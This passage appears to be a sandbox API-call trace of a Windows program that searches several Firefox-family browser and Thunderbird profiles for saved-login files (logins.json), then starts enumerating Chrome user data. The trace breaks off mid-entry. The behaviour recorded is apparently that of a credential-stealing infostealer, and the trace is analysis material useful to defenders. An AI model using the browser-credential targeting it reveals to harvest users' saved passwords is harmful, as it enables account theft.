ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x68d500 [0057.523] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc3d8, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0057.523] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\logins.json")) returned 0xffffffff [0057.523] FindNextFileW (in: hFindFile=0x68d500, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.524] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc3d8, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0057.524] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\logins.json")) returned 0xffffffff [0057.524] FindNextFileW (in: hFindFile=0x68d500, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1 [0057.524] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc3d8, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0057.524] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\logins.json")) returned 0xffffffff [0057.529] FindNextFileW (in: hFindFile=0x68d500, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0 [0057.530] GetSystemInfo (in: lpSystemInfo=0x18e2a4 | out: lpSystemInfo=0x18e2a4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0057.530] GetSystemInfo (in: lpSystemInfo=0x18e23c | out: lpSystemInfo=0x18e23c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0057.530] RtlWakeAllConditionVariable () returned 0x0 [0057.530] GetEnvironmentVariableA (in: lpName="MALLOC_OPTIONS", lpBuffer=0x73a716c0, nSize=0x40 | out: lpBuffer="") returned 0x0 [0057.530] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3be0000 [0057.530] VirtualFree (lpAddress=0x3be0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.531] VirtualAlloc (lpAddress=0x0, dwSize=0x1ff000, flAllocationType=0x3000, flProtect=0x4) returned 0x43a0000 [0057.531] VirtualFree (lpAddress=0x43a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.531] VirtualAlloc (lpAddress=0x4400000, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x4400000 [0057.531] VirtualFree (lpAddress=0x4401000, dwSize=0xff000, dwFreeType=0x4000) returned 1 [0057.534] VirtualAlloc (lpAddress=0x4401000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x4401000 [0057.535] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3be0000 [0057.535] VirtualFree (lpAddress=0x3be0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.535] VirtualAlloc (lpAddress=0x0, dwSize=0x1ff000, flAllocationType=0x3000, flProtect=0x4) returned 0x4500000 [0057.535] VirtualFree (lpAddress=0x4500000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.536] VirtualAlloc (lpAddress=0x4500000, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x4500000 [0057.536] VirtualFree (lpAddress=0x4501000, dwSize=0xff000, dwFreeType=0x4000) returned 1 [0057.540] VirtualAlloc (lpAddress=0x4501000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4501000 [0057.541] VirtualAlloc (lpAddress=0x4502000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4502000 [0057.541] strncpy (in: _Dest=0x4502050, _Source="clock", _Count=0x5 | out: _Dest="clock") returned="clock" [0057.541] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0057.541] strncpy (in: _Dest=0x4502058, _Source="cmon", _Count=0x4 | out: _Dest="cmon") returned="cmon" [0057.541] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0057.542] strncpy (in: _Dest=0x4502060, _Source="io", _Count=0x2 | out: _Dest="io") returned="io" [0057.542] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0057.542] strncpy (in: _Dest=0x4502068, _Source="mon", _Count=0x3 | out: _Dest="mon") returned="mon" [0057.542] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0057.542] strncpy (in: _Dest=0x4502070, _Source="linker", _Count=0x6 | out: _Dest="linker") returned="linker" [0057.542] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0057.542] strncpy (in: _Dest=0x4502078, _Source="cvar", _Count=0x4 | out: _Dest="cvar") returned="cvar" [0057.542] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0057.542] strncpy (in: _Dest=0x4502080, _Source="sched", _Count=0x5 | out: _Dest="sched") returned="sched" [0057.542] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0057.542] strncpy (in: _Dest=0x4502088, _Source="thread", _Count=0x6 | out: _Dest="thread") returned="thread" [0057.542] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0057.542] strncpy (in: _Dest=0x4502090, _Source="gc", _Count=0x2 | out: _Dest="gc") returned="gc" [0057.542] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0057.542] strncpy (in: _Dest=0x4502098, _Source="shm", _Count=0x3 | out: _Dest="shm") returned="shm" [0057.543] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0057.543] strncpy (in: _Dest=0x45020a0, _Source="shma", _Count=0x4 | out: _Dest="shma") returned="shma" [0057.543] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0057.543] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0057.543] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadDescription") returned 0x0 [0057.543] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0057.544] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0057.544] VirtualAlloc (lpAddress=0x4503000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4503000 [0057.544] VirtualAlloc (lpAddress=0x4504000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4504000 [0057.545] VirtualAlloc (lpAddress=0x450c000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x450c000 [0057.545] VirtualAlloc (lpAddress=0x450d000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x450d000 [0057.545] GetCurrentProcess () returned 0xffffffff [0057.545] GetCurrentThread () returned 0xfffffffe [0057.545] GetCurrentProcess () returned 0xffffffff [0057.546] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x450d148, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x450d148*=0x3a8) returned 1 [0057.546] GetCurrentThreadId () returned 0xb34 [0057.546] CreateSemaphoreA (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=1, lpName=0x0) returned 0x3ac [0057.546] VirtualAlloc (lpAddress=0x450e000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x450e000 [0057.547] VirtualAlloc (lpAddress=0x4512000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4512000 [0057.548] getenv (_VarName="NSPR_FD_CACHE_SIZE_LOW") returned 0x0 [0057.548] getenv (_VarName="NSPR_FD_CACHE_SIZE_HIGH") returned 0x0 [0057.548] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0057.548] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0057.548] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0057.549] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x18e138 | out: lpWSAData=0x18e138) returned 0 [0057.549] GetCurrentProcess () returned 0xffffffff [0057.549] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18dc78 | out: TokenHandle=0x18dc78*=0x3b0) returned 1 [0057.549] GetTokenInformation (in: TokenHandle=0x3b0, TokenInformationClass=0x4, TokenInformation=0x18dc88, TokenInformationLength=0x400, ReturnLength=0x18dc7c | out: TokenInformation=0x18dc88, ReturnLength=0x18dc7c) returned 1 [0057.549] GetLengthSid (pSid=0x18dc8c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0x10 [0057.549] CopySid (in: nDestinationSidLength=0x10, pDestinationSid=0x45010e0, pSourceSid=0x18dc8c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)) | out: pDestinationSid=0x45010e0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0057.549] GetTokenInformation (in: TokenHandle=0x3b0, TokenInformationClass=0x5, TokenInformation=0x18dc88, TokenInformationLength=0x400, ReturnLength=0x18dc7c | out: TokenInformation=0x18dc88, ReturnLength=0x18dc7c) returned 1 [0057.549] GetLengthSid (pSid=0x18dc8c*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0x1c [0057.549] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x4512100, pSourceSid=0x18dc8c*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)) | out: pDestinationSid=0x4512100*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 1 [0057.549] CloseHandle (hObject=0x3b0) returned 1 [0057.549] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18dc80, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x73baa17c | out: pSid=0x73baa17c*=0x6b7b48*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0057.549] GetVersionExA (in: lpVersionInformation=0x18e0a0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18e0a0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0057.549] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0057.549] strncpy (in: _Dest=0x45010f0, _Source="Executable", _Count=0xa | out: _Dest="Executable") returned="Executable" [0057.550] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0057.551] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbf74, cbMultiByte=31, lpWideCharStr=0x18d5d0, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Thunderbird\\Profiles\\les\\") returned 31 [0057.551] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Thunderbird\\Profiles\\", lpDst=0x6bc0f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Thunderbird\\Profiles\\") returned 0x44 [0057.551] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Thunderbird\\Profiles\\\\*.*", lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0057.551] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc3d8, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0057.551] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Thunderbird\\Profiles\\\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\thunderbird\\profiles\\logins.json")) returned 0xffffffff [0057.551] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0057.551] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3782a20, cbMultiByte=28, lpWideCharStr=0x18d5d0, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Waterfox\\Profiles\\es\\les\\") returned 28 [0057.552] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Waterfox\\Profiles\\", lpDst=0x6bc0f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\") returned 0x41 [0057.552] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\\\*.*", lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0057.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc3d8, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0057.552] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\waterfox\\profiles\\logins.json")) returned 0xffffffff [0057.552] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0057.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3782a64, cbMultiByte=36, lpWideCharStr=0x18d5d0, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Comodo\\IceDragon\\Profiles\\Ȁ") returned 36 [0057.552] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Comodo\\IceDragon\\Profiles\\", lpDst=0x6bc0f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\") returned 0x49 [0057.552] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\*.*", lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0057.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc3d8, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0057.552] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\comodo\\icedragon\\profiles\\logins.json")) returned 0xffffffff [0057.553] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0057.553] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3782ab0, cbMultiByte=41, lpWideCharStr=0x18d5d0, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\\x18处疙") returned 41 [0057.553] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\", lpDst=0x6bc0f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned 0x4e [0057.553] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\*.*", lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0057.553] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc3d8, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0057.555] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\8pecxstudios\\cyberfox\\profiles\\logins.json")) returned 0xffffffff [0057.555] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0057.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3782ec4, cbMultiByte=51, lpWideCharStr=0x18d5d0, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 51 [0057.555] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\", lpDst=0x6bc0f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 0x58 [0057.555] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\*.*", lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0057.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc3d8, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0057.556] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\moonchild productions\\pale moon\\profiles\\logins.json")) returned 0xffffffff [0057.556] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0057.556] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\", lpDst=0x6be1bc, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 0x45 [0057.556] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x68d540 [0057.572] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.573] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, 